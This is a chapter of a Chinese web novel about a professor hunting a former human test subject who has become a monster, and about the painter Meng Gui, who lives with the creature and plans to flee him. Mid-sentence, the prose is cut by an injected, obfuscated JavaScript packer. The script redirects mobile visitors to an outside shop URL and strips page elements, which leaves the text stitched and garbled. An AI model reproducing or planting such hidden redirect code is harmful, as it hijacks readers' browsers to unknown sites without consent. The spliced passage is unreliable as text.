27. 研究

作品:《怪物新郎

    加城的某幢大楼里,一间极度干净的玻璃罩房,一位头发半白的老人坐在桌前,正兴致勃勃地观看电脑屏幕上的视频,神态认真得宛若在看一个工艺绝佳的艺术品。


    “嗯,视频回拉到头,再看一遍。”视频播放结束,老人用细瘦的手指敲了敲桌面,对旁边的助理说道。


    “好的,教授。”助理看了一眼屏幕上疯狂增粗延伸的红色肉质物,严重的生理不适感再次袭来。


    他已经记不清这是他第几次回拉进度条了。


    屏幕上的视频是由一个署名为“GUI”的人通过邮件“投稿”过来的,柯夫曼教授收到邮件后欣喜异常,连忙放下手中文章,拿出本和笔,把附件视频下载下来,开始一分一秒地逐帧观看。


    “三秒到十三秒这段时间,从画面上看,这根肉质腕增粗近一公分。”年老的教授向前倾身,笔头指着屏幕左上角的一团模糊。


    助理忍着不适看过去,只见屏幕左上角的红色肉质物正攀着一个柜子,不断地扭曲抽搐,像是下一刻就要把柜子挤压变形一样。


    助理实在忍不住,撇开目光问,寻找其它话题:“教授,需要我去提什么资料吗?”


    “不急。”老人推了推鼻梁上的镜框,目光始终停留在屏幕上,瞳孔微微紧缩:“先联系这个孟…GUI,等她把成功体一号交还给实验室后,我再叫你们制定接下来的研究方案。”


    “好的,教授。”助理点头。


    直到现在,柯夫曼教授都很庆幸自己接收了由西普区巡安委托的物品检验。


    那是一滩酸化成无机物的液体,带着一股难闻的腐臭味,听说是从一场交通事故现场里提取出来的生物样本,巡安怀疑该生物样本可能与异种怪物有关。


    最开始,他并不认为这管液体能够检测出什么有用的东西,直到他的学生把里面的微量DNA分子提取出来,进行数据库比对。


    一个已经死亡的标本出现在报告中。


    成功体一号,他上一个主持的课题里唯一成功的实验体,他所有荣誉和地位的来源,他此生最大的骄傲。


    柯夫曼教授曾以为,他的这项研究会止步于成功体一号的第六次基因融合失败——在高含量烟灰蛸胚胎干细胞的注射结束后,成功体一号的机体发生了严重的异变,骨骼、肌肉、皮肤开始溶解,最后化成一滩烂泥。


    因为没有其他成功体,实验无法再进行下去,柯夫曼只得草率地提交结题报告,结束了这个“荒谬”的研究项目。


    化成一滩烂泥的成功体一号被打包丢进地下冰库,再没有人留意过它。


    令柯夫曼没想到的是,时隔两年,他会在一滩交通事故的烂泥里找到成功体一号的基因组。


    最开始,他以为是学生的失误,要求他们进行三次重复试验,但是结果报告都与成功体一号完美比对,这让他在疑惑之余升起一点希望——成功体一号并没有死,可能在以另一种形态进行活动。


    为了确认自己的猜测是否正确,柯夫曼亲自前往地下冰库寻找当时丢弃的样品,却只找到一个空掉的标记袋。


    监控视频显示,烂泥是在一次取样的时候“粘”到用于拖运的推车下“逃走”的。


    知道成功体一号还活着的柯夫曼很兴奋,觉得自己全身的血液都沸腾到顶点,仿佛找到了曾经风头无两的时光。


    他想再登一次基因研究领域的顶峰,享受满场的鲜花和掌声。


    经过一番深思熟虑后,柯实夫曼打算先找到他的实验体,争取再进行几次基因融合,看看几次基因融合间的差异。


    因为医学伦理审核的限制,柯夫曼上交的是以犬类和小型猪类的动物体方案,各基金组、顶级医学刊物编委并不知道正式实验的对象是人类,因此,为了保住自己的实验体,柯夫曼将成功体一号的名字从报告中删去,发送给西普区巡安。


    后面的寻找的过程很顺利,柯夫曼打听到交通事故的时间和地点,沿着几家店面查看门口监控,得知事故发生时车上的乘客为一男一女。


    男人的样貌他认得,正是成功体一号的脸,时隔一年没见,它的面部骨骼较以前更加俊朗、硬挺,有种难以言喻的重构美感。


    巧合的是,站在成功体一号身边的女人他也认得,MODEL艺术工作室的画家,孟瑰,他的太太曾经买过她的画作,一张落日油画,目前还挂在他们家客厅的墙壁上。


    他在MODEL艺术工作室门口安装了微型摄像头,意外发现成功体一号也在该工作室工作,且经常与孟瑰同进同出。


    经过一次尾随后,他惊喜地发现他们竟然共同居住在一起。


    因为不清楚孟瑰和成功体一号之间的具体关系,柯夫曼不敢贸然行动,为了避免打草惊蛇,他注册了一个新的账号,每隔一段时间,便向孟瑰的邮箱里发送电台征稿邮件。


    他在赌,赌孟瑰不知道成功体一号的秘密,赌成功体一号自己会露出破绽,赌孟瑰发现成功体一号的秘密后会害怕寻求自保。


    事实证明,他赌赢了,孟瑰通过邮件向他寻求帮助,还附了一段珍贵的视频录像,他欣喜得快要疯掉。


    柯夫曼教授打算找机会和孟瑰单独聊一下,听听孟瑰的想法,再打算如何将他的实验体接回实验室。


    想到这里,柯夫曼看了一眼时间。


    晚上七点整,是时候要以教授的名义给孟瑰发一封邮件了。


    …


    收到柯夫曼见面邀约的孟瑰有些苦恼,她总觉得肖颀好像知道了些什么,自打那次“庆祝”结束,他就一直跟在她的身后,形影不离。


    少年经常以“关心”她的借口闯进她的隐私范围,给她送来一杯温热的蜂蜜水,或着询问她是否需要帮忙。


    出门的时候,他会挽起她的手,无论她做什么,去哪里都不会分开,弄得她的掌心总是湿漉漉地难受。


    甚至每次洗澡,他都会坐在淋浴间外的客厅里,假装刷着腕带娱乐,但是孟瑰总能感觉到淋浴间的阴影里,有她看不见的东西在吞吃着她的气味。


    她压根没有一个人独处的机会,更别提瞒着他去见其他人。


    除此之外,孟瑰还发现了一件令她细思极恐的事情。


    收到柯夫曼教授的邮件后,她有意窥探肖颀的电子设备,因此以工作为借口借用,竟意外地在他的光屏电脑里发现了一个名字是“#”的邮箱账号。


    发送一栏的内容很干净,但是在回收站里,有一封邮件,是发给她的,上面标有胡嘉航的ID账号和密码。


    孟瑰永远记得自己看到邮件时的惊惧,寒意从心底瞬间蔓延至全身,头颅两侧的太阳穴突突狂跳…


    肖颀为什么会知道胡嘉航的ID账号和密码?他是怎么知道的?他为什么要把胡嘉航的账号和密码发给她?


    孟瑰想到胡嘉航那个荒唐的死因,脊柱开始一寸寸僵直,冰冷的心跳疯狂加速,更深的恐惧如潮水般满上心头。


    有没有可能胡嘉航是非正常死亡,且他的死和肖颀有关系。


    孟瑰花费整整一个下午的时间才将强迫自己从“#”账号的事件里剥离出来,不去思考这件事的真相,用画画来麻痹自己。


    但是每当肖颀出现在她的视野里时,那股被她强行压下的恐惧又会充满全身,第六感在脑海中尖鸣,提醒她快逃。


    她用尽全身的力气,才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171270|195041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    克制住想要逃跑的冲动,忍着惧意与肖颀接触,尽量不露出破绽。


    但是,每一次对话和触碰都会让她的意志陷入更加绝望的境地,尤其是她在接吻的时候,这种绝望的感觉尤其强烈,唇上的触感无时无刻不在提醒着她,自己正在和一个怪物交往。


    被揽在怀里的孟瑰痛苦地闭上眼。


    她要怎样才能逃脱当前的困境,全身而退?!


    晚上出门扔垃圾时候,孟瑰碰到出来撕售房信息的王婆婆,她佯装平静地上前打招呼,两人随便攀谈了几句。


    孟瑰:“婆婆,这是有人买下房子了。”


    王婆婆点头:“对,今天上午一起签的协议,钱是下午打过来的,分文不少。”


    “那婆婆什么时候出发去深州?”


    “快了,两三天之后吧,这边的东西已经有一部分邮寄到那边,得早些过去收拾。”


    “也好,早点安顿下来。”孟瑰看着王婆婆脸上的慈祥,心底突然有了一个想法,一个铤而走险的想法。


    虽然这个想法有激怒肖颀的可能,但是孟瑰还是打算试试。


    回到家里,肖颀正在扶不小心倒地的家政机器人,盘子里水果滚落一地,场面有些狼藉。


    “姐姐小心脚下。”肖颀把家政机器人摆正,见孟瑰从外面进来,提醒她注意。


    孟瑰看着他对待机器人仔细稳妥的动作,内心复杂极了。


    他似乎还是那个单纯温和的人,不会和人争锋,做什么事情都静悄悄的,好似生怕打扰到别人一般…


    但他又是一个怪物,会爆发无数触须的怪物,骨子里保留着掠食者独有的强势和敏锐,单从每次她都被他吻晕在怀里这件事来讲…


    她不是他的对手。


    她不能心慈手软,被他的表象迷惑,认为他能一辈子对自己体贴温柔,她必须要逃离他的掌控。


    想到这里,孟瑰的指甲不自觉地陷入掌心,她站在原地,干涩地开口:“需要帮忙吗?”


    “不用。”肖颀将滚在地上的水果一颗颗捡起,语调稍低:“可惜,都脏了。”


    孟瑰掩去心底的诸多心思,安慰他:“没事,想吃的话,冰箱里还有。”她走到桌前,倒了两杯水,踌躇片刻,道:“肖颀,这段时间忙完我想去深州看看阿雅。”


    “哦。”肖颀端着果盘回头看她:“孟雅小姐那里出事了?”


    “倒也…不是…”孟瑰试图把自己代入一个忧郁的情绪里:“最近发生的事情太多了,阿雅的事,程景的事,王婆婆也要搬走了,我只是觉得思绪乱糟糟的,想出门走走…”


    “姐姐。”肖颀皱了皱眉,提出自己的想法:“想去可以,我陪你一起去。”


    孟瑰深深吸了一口气,少年的反应在她的意料之中。


    他果然不给她一个人行动的机会。


    “可是工作室还有事情,我想请你帮我。”为了让肖颀妥协,孟瑰靠近一步,咬着牙根搂住他精壮的腰腹,用下颌轻轻蹭他的肩窝:“我不放心把这件事交给别人做,你要是和我一起去了,工作的事会耽搁。”


    不知是因为孟瑰的话音太柔软,还是摩挲在他肩上的动作太亲昵,肖颀的背脊僵了僵。


    “姐姐…打算…什么时候去…”肖颀的喉咙有些干涩。


    孟瑰听出他语调里的压抑,觉得示弱有用,忙蜻蜓点水一样地在肖颀唇边落下一吻,继续磨人:“你好好在加城,深州不远,我会当天去当天回。”


    许是听到孟瑰当天去当天回的保证,肖颀终于松口答应:“好,我在家等你,腕带保持畅通。”


    “嗯,会的。”孟瑰又在他的胸口狠狠地蹭了两下。